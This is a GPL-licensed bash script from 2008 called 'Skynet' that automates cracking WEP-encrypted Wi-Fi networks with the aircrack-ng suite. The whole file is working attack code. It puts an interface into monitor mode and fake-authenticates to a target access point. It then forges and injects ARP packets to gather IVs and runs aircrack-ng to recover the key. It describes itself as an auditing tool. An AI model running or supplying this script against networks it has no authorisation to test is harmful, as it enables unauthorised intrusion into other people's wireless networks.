#!/bin/bash
# Skynet - An automated WEP Cracking tool
# Copyright (C) 2008  Adam & Vyrus of DC949
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
# 
#
# Description: 
#      Skynet is a script which aims to make auditing WEP encrypted
# networks fully autonomous.  It uses aircrack, and wireless-tools.
# It requires that you have drivers which have been patched for
# injection.  For more info about patching your drivers check here:
# http://aircrack-ng.org/doku.php?id=install_drivers
#
# The process is a direct implementation of the guide by darkAudax:
# http://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_clients
#
# Feel free to report any bugs to the authors:
# adam@dc949.org and/or vyrus@dc949.org
#
# Or just drop by the site and hit up our forums at http://www.dc949.org
#

# trap CTRL-C and execute the killing() function:
trap killing INT

###
# This is executed when the program is killed via ctrl+c.
# It ensures that the temporary files created are properly cleaned up
###
function killing() {
  tput setaf 2; tput setab 0;
  echo ""
  echo ""
  echo "Cleaning up temporary files..."
  echo ""
  tput sgr0
  killall aireplay-ng &> /dev/null
  killall airodump-ng &> /dev/null
  killall aircrack-ng &> /dev/null
  rm -f arp-request*
  rm -f capture*.cap
  rm -f replay_src-*.cap
  rm -f /tmp/skynet.tmp
  exit 1
}

function isInPath() {
  which $1 &> /dev/null
  if [[ $? -ne 0 ]]; then
    if [[ "$programsNotInPath" == "" ]]; then
      programsNotInPath=$1
    else
      programsNotInPath="${programsNotInPath}, $1"
    fi
  fi
}

function echoMessage() {
  tput setaf 2; tput setab 0;
  echo $*
  tput sgr0
}

function echoError() {
  tput setaf 1; tput setab 0;
  echo $*
  tput sgr0
}

function echoWarning() {
  tput setaf 3; tput setab 0;
  echo $*
  tput sgr0
}

function echoPrompt() {
  tput setaf 4; tput setab 0;
  echo $*
  tput sgr0
}


# check to make sure all necessary programs are available in the PATH
isInPath ls;
isInPath rm;
isInPath echo;
isInPath grep;
isInPath gawk;
isInPath cut;
isInPath sed;
isInPath yes;
isInPath tee;
isInPath sleep;
isInPath ifconfig;
isInPath iwconfig;
isInPath aireplay-ng;
isInPath packetforge-ng;
isInPath airodump-ng;
isInPath aircrack-ng;

if [[ "$programsNotInPath" != "" ]]; then
  echoError "***ERROR: Programs not in path: $programsNotInPath";
  exit
fi

# Default values
OUTPUT_TARGET="/dev/null"
PACKETS=2

# loop through command line args
for arg in $*; do
  if [[ "${arg}" == "--interface="* ]]; then
    INTERFACE=${arg##--interface=}
  fi
  if [[ "${arg}" == "--essid="* ]]; then
    ESSID=${arg##--essid=}
  fi
  if [[ "${arg}" == "--bssid="* ]]; then
    BSSID=${arg##--bssid=}
  fi
  if [[ "${arg}" == "--channel="* ]]; then
    CHANNEL=${arg##--channel=}
  fi
  if [[ "${arg}" == "--packets="* ]]; then
    PACKETS=${arg##--packets=}
  fi
  if [[ "${arg}" == "-v" ]]; then
    OUTPUT_TARGET="/dev/stdout"
  fi
  if [[ "${arg}" == "--help" ]]; then
    echo -n "Usage: $0 [interface=<interface>] [essid=<essid>] [bssid=<bssid>] [channel=<channel>] "
    echo -n "[packets=<number of packets to inject simultaneously>] [-v]"
    echo ""
    echo "-v is for verbose mode, --help is this menu, all others should be self explanitory"
    exit 1
  fi
done

# if not already given... ask user for interface
if [[ "${INTERFACE}" == "" ]]; then
  echoWarning "You may want to consider using the command line arguments:"
  echoWarning "Example: $0 interface=ath1 essid=ProjectMayhem bssid=00:14:BF:2A:5C:00 channel=11"
  echoPrompt -n 'Enter wifi interface: '
  read INTERFACE
fi

echoMessage "Bringing up ${INTERFACE}"
ifconfig ${INTERFACE} up
if [[ $? -ne 0 ]] ; then
  echoError "***ERROR: Could not bring up ${INTERFACE}"
  echoError "***ERROR: Do you need to run something like this...?"
  echoError "***ERROR: wlanconfig ${INTERFACE} create wlandev wifi0 wlanmode monitor"
  exit
fi

echoMessage "Setting interface ${INTERFACE} to mode \"rfmon\""
iwconfig ${INTERFACE} mode monitor
if [[ $? -ne 0 ]] ; then
  echoError "***ERROR: Could not set ${INTERFACE} to mode \"rfmon\""
  echoError "If using an atheros card, read up on wlanconfig for answers"
  exit
fi

# ask user for network information, if it wasn't provided via CLI
if [[ "${ESSID}" == "" ]]; then
  echoPrompt -n 'Enter target essid: '
  read ESSID
fi

if [[ "${BSSID}" == "" ]]; then
  echoPrompt -n 'Enter target bssid: '
  read BSSID
fi

if [[ "${CHANNEL}" == "" ]]; then
  echoPrompt -n 'Enter target channel: '
  read CHANNEL
fi

# set interface to proper channel
echoMessage "Setting ${INTERFACE} channel to ${CHANNEL}"
iwconfig ${INTERFACE} channel ${CHANNEL}
if [[ $? -ne 0 ]] ; then
  echoError "***ERROR: Could not set ${INTERFACE} to channel ${CHANNEL}"
  exit
fi

# get MAC
MAC=`ifconfig ${INTERFACE} | grep -i HWaddr | gawk '{ print $5 }' | cut -c1-17 | sed 's/-/:/g'`

# run fake auth
echoMessage "Authenticateing..."
aireplay-ng -1 0 -e ${ESSID} -a ${BSSID} -h $MAC -q 10 ${INTERFACE} &> $OUTPUT_TARGET
if [[ $? -ne 0 ]] ; then
  echoError "***ERROR: Could not authenticate with the AP, use -v for more details."
  echoError "***ERROR: Are your drivers patched for injection in monitor mode?"
  exit
fi

for i in `seq 1 $PACKETS`; do
  # get IV packet for arp attack
  echoMessage "Getting IV packet (${i} of ${PACKETS}) for arp injection..."
  nice yes | nice aireplay-ng -5 -b "$BSSID" -h "$MAC" "$INTERFACE" | tee /tmp/skynet.tmp &> $OUTPUT_TARGET

  grep 'Thats our ARP packet!' /tmp/skynet.tmp &> $OUTPUT_TARGET
  if [[ $? -ne 0 ]] ; then
    echoError "***ERROR: Unable to get IV packet for arp injection!"
    FILENAME=`grep '.xor' /tmp/skynet.tmp | cut -d " " -f 4`
    echoError "***ERROR: Removing $FILENAME"
    rm -f $FILENAME
    echoError "***ERROR: Cleaning up temporary file"
    rm -f /tmp/skynet.tmp
    exit
  fi

  FILENAME=`grep '.xor' /tmp/skynet.tmp | cut -d " " -f 4`

  # Forge a packet to use for injection
  echoMessage "Forging a packet to use for injection..."
  packetforge-ng -0 -a "$BSSID" -h "$MAC" -k 255.255.255.255 -l 255.255.255.255.255 \
                 -y "$FILENAME" -w arp-request$i &> $OUTPUT_TARGET
  if [[ $? -ne 0 ]] ; then
    echoError "***ERROR: Could not forge packet for injection"
    rm -f "$FILENAME" "arp-request$i" /tmp/skynet.tmp
    exit
  fi

  rm $FILENAME
done

echoMessage "Cleaning up captures files"
rm -f replay_src*

for i in `ls arp-request*`; do
  echoMessage "Starting injection of arp packet $i"
  # saving the output to a log was taking up gigabytes of space and they were not at all helpful
  nice yes | nice aireplay-ng -2 -r "$i" "$INTERFACE" &> /dev/null &
done

echoMessage "Gathering packets for bruteforce..."
airodump-ng -c "$CHANNEL" --bssid "$BSSID" -w capture "$INTERFACE" &> /dev/null &

echoMessage ""
echoMessage "Injecting and capturing in the background..."
echoMessage ""
echoMessage ""
echoMessage -n "Please wait while we gather information"

sleep 20
FILESIZE=`ls -l capture*.cap | gawk '{print $5}'`
i=0
previousFilesize=$FILESIZE
lastIterFilesizeChanged=$i
while [ $FILESIZE -lt 10000 ]; do
  echoMessage -n "."
  sleep 1
  FILESIZE=`ls -l capture*.cap | gawk '{print $5}'`
  if [[ $FILESIZE -ne $previousFilesize ]]; then
    lastIterFilesizeChanged=$i
    previousFilesize=$FILESIZE
  else
    let temp=$i-$lastIterFilesizeChanged
    if [[ $temp -ge 30 ]]; then
      echoError ""
      echoError "***ERROR: Hmmm, that's strange we didn't get any IVs in the past $temp seconds.";
      ps -ef | grep aireplay-ng | grep -v grep &> /dev/null
      if [[ $? -ne 0 ]]; then
        echoError "***ERROR: Oh, aireplay-ng isn't running!  Well that explains some things!"
      fi
      echoError "***ERROR: Well, I guess I'll quit now.  Bye."
      exit 1
    fi
  fi
  let i++
done

aircrack-ng -z -b "$BSSID" capture*.cap

echoMessage "Cleaning up temporary files..."
rm -f /tmp/skynet.tmp
rm -f /tmp/skynet.*.log
rm -f $FILENAME
rm -f skynet.capture*.txt




